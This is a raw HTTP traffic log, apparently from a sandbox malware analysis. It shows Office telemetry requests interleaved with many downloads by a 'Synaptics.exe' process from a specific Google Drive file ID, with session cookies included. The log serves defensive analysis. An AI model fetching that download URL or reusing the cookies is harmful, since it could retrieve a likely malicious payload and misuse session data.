Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=518=K3YA05x7a7wPcF88R7Dw84WMKjQ6873DnHLR0LDQGgc1MteC2G4ONn395vfZJqjk156Vzxx1_lIu06nshB5Ed1NY55eq3dN6KRQvGYzWjVowpXj9p2zZi3HhDXnkEl-_s9rmiEicjyouHMKJ58sqyP_d0c1v3p5pEUooYDO1QtMNLVq6H1Y
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=518=K3YA05x7a7wPcF88R7Dw84WMKjQ6873DnHLR0LDQGgc1MteC2G4ONn395vfZJqjk156Vzxx1_lIu06nshB5Ed1NY55eq3dN6KRQvGYzWjVowpXj9p2zZi3HhDXnkEl-_s9rmiEicjyouHMKJ58sqyP_d0c1v3p5pEUooYDO1QtMNLVq6H1Y
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=518=DwAin6pYmnRWe_v7rUP4M1SBl_g9os_JYdmxiVzJ4AAUpXz_ISeazz6hImO1ECLh1-DCp51tOITR0NLD-tpoIvszsQoM-y1LxedFZ2i_w21gkRU-e_hQDTuWZIlo0xLwHpbcjrm9i8llcdDK93rICzE7TrwffgZGcC7JBl-O1pGbs4yWnKQ
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=518=K3YA05x7a7wPcF88R7Dw84WMKjQ6873DnHLR0LDQGgc1MteC2G4ONn395vfZJqjk156Vzxx1_lIu06nshB5Ed1NY55eq3dN6KRQvGYzWjVowpXj9p2zZi3HhDXnkEl-_s9rmiEicjyouHMKJ58sqyP_d0c1v3p5pEUooYDO1QtMNLVq6H1Y
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=518=DwAin6pYmnRWe_v7rUP4M1SBl_g9os_JYdmxiVzJ4AAUpXz_ISeazz6hImO1ECLh1-DCp51tOITR0NLD-tpoIvszsQoM-y1LxedFZ2i_w21gkRU-e_hQDTuWZIlo0xLwHpbcjrm9i8llcdDK93rICzE7TrwffgZGcC7JBl-O1pGbs4yWnKQ
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=518=DwAin6pYmnRWe_v7rUP4M1SBl_g9os_JYdmxiVzJ4AAUpXz_ISeazz6hImO1ECLh1-DCp51tOITR0NLD-tpoIvszsQoM-y1LxedFZ2i_w21gkRU-e_hQDTuWZIlo0xLwHpbcjrm9i8llcdDK93rICzE7TrwffgZGcC7JBl-O1pGbs4yWnKQ
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=518=DwAin6pYmnRWe_v7rUP4M1SBl_g9os_JYdmxiVzJ4AAUpXz_ISeazz6hImO1ECLh1-DCp51tOITR0NLD-tpoIvszsQoM-y1LxedFZ2i_w21gkRU-e_hQDTuWZIlo0xLwHpbcjrm9i8llcdDK93rICzE7TrwffgZGcC7JBl-O1pGbs4yWnKQ
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=518=DwAin6pYmnRWe_v7rUP4M1SBl_g9os_JYdmxiVzJ4AAUpXz_ISeazz6hImO1ECLh1-DCp51tOITR0NLD-tpoIvszsQoM-y1LxedFZ2i_w21gkRU-e_hQDTuWZIlo0xLwHpbcjrm9i8llcdDK93rICzE7TrwffgZGcC7JBl-O1pGbs4yWnKQ
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=518=DwAin6pYmnRWe_v7rUP4M1SBl_g9os_JYdmxiVzJ4AAUpXz_ISeazz6hImO1ECLh1-DCp51tOITR0NLD-tpoIvszsQoM-y1LxedFZ2i_w21gkRU-e_hQDTuWZIlo0xLwHpbcjrm9i8llcdDK93rICzE7TrwffgZGcC7JBl-O1pGbs4yWnKQ
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=518=DwAin6pYmnRWe_v7rUP4M1SBl_g9os_JYdmxiVzJ4AAUpXz_ISeazz6hImO1ECLh1-DCp51tOITR0NLD-tpoIvszsQoM-y1LxedFZ2i_w21gkRU-e_hQDTuWZIlo0xLwHpbcjrm9i8llcdDK93rICzE7TrwffgZGcC7JBl-O1pGbs4yWnKQ
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=518=DwAin6pYmnRWe_v7rUP4M1SBl_g9os_JYdmxiVzJ4AAUpXz_ISeazz6hImO1ECLh1-DCp51tOITR0NLD-tpoIvszsQoM-y1LxedFZ2i_w21gkRU-e_hQDTuWZIlo0xLwHpbcjrm9i8llcdDK93rICzE7TrwffgZGcC7JBl-O1pGbs4yWnKQ
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=518=DwAin6pYmnRWe_v7rUP4M1SBl_g9os_JYdmxiVzJ4AAUpXz_ISeazz6hImO1ECLh1-DCp51tOITR0NLD-tpoIvszsQoM-y1LxedFZ2i_w21gkRU-e_hQDTuWZIlo0xLwHpbcjrm9i8llcdDK93rICzE7TrwffgZGcC7JBl-O1pGbs4yWnKQ
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=518=DwAin6pYmnRWe_v7rUP4M1SBl_g9os_JYdmxiVzJ4AAUpXz_ISeazz6hImO1ECLh1-DCp51tOITR0NLD-tpoIvszsQoM-y1LxedFZ2i_w21gkRU-e_hQDTuWZIlo0xLwHpbcjrm9i8llcdDK93rICzE7TrwffgZGcC7JBl-O1pGbs4yWnKQ
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=518=DwAin6pYmnRWe_v7rUP4M1SBl_g9os_JYdmxiVzJ4AAUpXz_ISeazz6hImO1ECLh1-DCp51tOITR0NLD-tpoIvszsQoM-y1LxedFZ2i_w21gkRU-e_hQDTuWZIlo0xLwHpbcjrm9i8llcdDK93rICzE7TrwffgZGcC7JBl-O1pGbs4yWnKQ
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=518=DwAin6pYmnRWe_v7rUP4M1SBl_g9os_JYdmxiVzJ4AAUpXz_ISeazz6hImO1ECLh1-DCp51tOITR0NLD-tpoIvszsQoM-y1LxedFZ2i_w21gkRU-e_hQDTuWZIlo0xLwHpbcjrm9i8llcdDK93rICzE7TrwffgZGcC7JBl-O1pGbs4yWnKQ
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=518=DwAin6pYmnRWe_v7rUP4M1SBl_g9os_JYdmxiVzJ4AAUpXz_ISeazz6hImO1ECLh1-DCp51tOITR0NLD-tpoIvszsQoM-y1LxedFZ2i_w21gkRU-e_hQDTuWZIlo0xLwHpbcjrm9i8llcdDK93rICzE7TrwffgZGcC7JBl-O1pGbs4yWnKQ
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=518=DwAin6pYmnRWe_v7rUP4M1SBl_g9os_JYdmxiVzJ4AAUpXz_ISeazz6hImO1ECLh1-DCp51tOITR0NLD-tpoIvszsQoM-y1LxedFZ2i_w21gkRU-e_hQDTuWZIlo0xLwHpbcjrm9i8llcdDK93rICzE7TrwffgZGcC7JBl-O1pGbs4yWnKQ
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=518=DwAin6pYmnRWe_v7rUP4M1SBl_g9os_JYdmxiVzJ4AAUpXz_ISeazz6hImO1ECLh1-DCp51tOITR0NLD-tpoIvszsQoM-y1LxedFZ2i_w21gkRU-e_hQDTuWZIlo0xLwHpbcjrm9i8llcdDK93rICzE7TrwffgZGcC7JBl-O1pGbs4yWnKQ
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=518=DwAin6pYmnRWe_v7rUP4M1SBl_g9os_JYdmxiVzJ4AAUpXz_ISeazz6hImO1ECLh1-DCp51tOITR0NLD-tpoIvszsQoM-y1LxedFZ2i_w21gkRU-e_hQDTuWZIlo0xLwHpbcjrm9i8llcdDK93rICzE7TrwffgZGcC7JBl-O1pGbs4yWnKQ
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=518=DwAin6pYmnRWe_v7rUP4M1SBl_g9os_JYdmxiVzJ4AAUpXz_ISeazz6hImO1ECLh1-DCp51tOITR0NLD-tpoIvszsQoM-y1LxedFZ2i_w21gkRU-e_hQDTuWZIlo0xLwHpbcjrm9i8llcdDK93rICzE7TrwffgZGcC7JBl-O1pGbs4yWnKQ
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=518=DwAin6pYmnRWe_v7rUP4M1SBl_g9os_JYdmxiVzJ4AAUpXz_ISeazz6hImO1ECLh1-DCp51tOITR0NLD-tpoIvszsQoM-y1LxedFZ2i_w21gkRU-e_hQDTuWZIlo0xLwHpbcjrm9i8llcdDK93rICzE7TrwffgZGcC7JBl-O1pGbs4yWnKQ
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=518=DwAin6pYmnRWe_v7rUP4M1SBl_g9os_JYdmxiVzJ4AAUpXz_ISeazz6hImO1ECLh1-DCp51tOITR0NLD-tpoIvszsQoM-y1LxedFZ2i_w21gkRU-e_hQDTuWZIlo0xLwHpbcjrm9i8llcdDK93rICzE7TrwffgZGcC7JBl-O1pGbs4yWnKQ
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=518=DwAin6pYmnRWe_v7rUP4M1SBl_g9os_JYdmxiVzJ4AAUpXz_ISeazz6hImO1ECLh1-DCp51tOITR0NLD-tpoIvszsQoM-y1LxedFZ2i_w21gkRU-e_hQDTuWZIlo0xLwHpbcjrm9i8llcdDK93rICzE7TrwffgZGcC7JBl-O1pGbs4yWnKQ
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=518=DwAin6pYmnRWe_v7rUP4M1SBl_g9os_JYdmxiVzJ4AAUpXz_ISeazz6hImO1ECLh1-DCp51tOITR0NLD-tpoIvszsQoM-y1LxedFZ2i_w21gkRU-e_hQDTuWZIlo0xLwHpbcjrm9i8llcdDK93rICzE7TrwffgZGcC7JBl-O1pGbs4yWnKQ
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=518=DwAin6pYmnRWe_v7rUP4M1SBl_g9os_JYdmxiVzJ4AAUpXz_ISeazz6hImO1ECLh1-DCp51tOITR0NLD-tpoIvszsQoM-y1LxedFZ2i_w21gkRU-e_hQDTuWZIlo0xLwHpbcjrm9i8llcdDK93rICzE7TrwffgZGcC7JBl-O1pGbs4yWnKQ
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=518=DwAin6pYmnRWe_v7rUP4M1SBl_g9os_JYdmxiVzJ4AAUpXz_ISeazz6hImO1ECLh1-DCp51tOITR0NLD-tpoIvszsQoM-y1LxedFZ2i_w21gkRU-e_hQDTuWZIlo0xLwHpbcjrm9i8llcdDK93rICzE7TrwffgZGcC7JBl-O1pGbs4yWnKQ
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=518=DwAin6pYmnRWe_v7rUP4M1SBl_g9os_JYdmxiVzJ4AAUpXz_ISeazz6hImO1ECLh1-DCp51tOITR0NLD-tpoIvszsQoM-y1LxedFZ2i_w21gkRU-e_hQDTuWZIlo0xLwHpbcjrm9i8llcdDK93rICzE7TrwffgZGcC7JBl-O1pGbs4yWnKQ
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=518=DwAin6pYmnRWe_v7rUP4M1SBl_g9os_JYdmxiVzJ4AAUpXz_ISeazz6hImO1ECLh1-DCp51tOITR0NLD-tpoIvszsQoM-y1LxedFZ2i_w21gkRU-e_hQDTuWZIlo0xLwHpbcjrm9i8llcdDK93rICzE7TrwffgZGcC7JBl-O1pGbs4yWnKQ
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=518=DwAin6pYmnRWe_v7rUP4M1SBl_g9os_JYdmxiVzJ4AAUpXz_ISeazz6hImO1ECLh1-DCp51tOITR0NLD-tpoIvszsQoM-y1LxedFZ2i_w21gkRU-e_hQDTuWZIlo0xLwHpbcjrm9i8llcdDK93rICzE7TrwffgZGcC7JBl-O1pGbs4yWnKQ
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
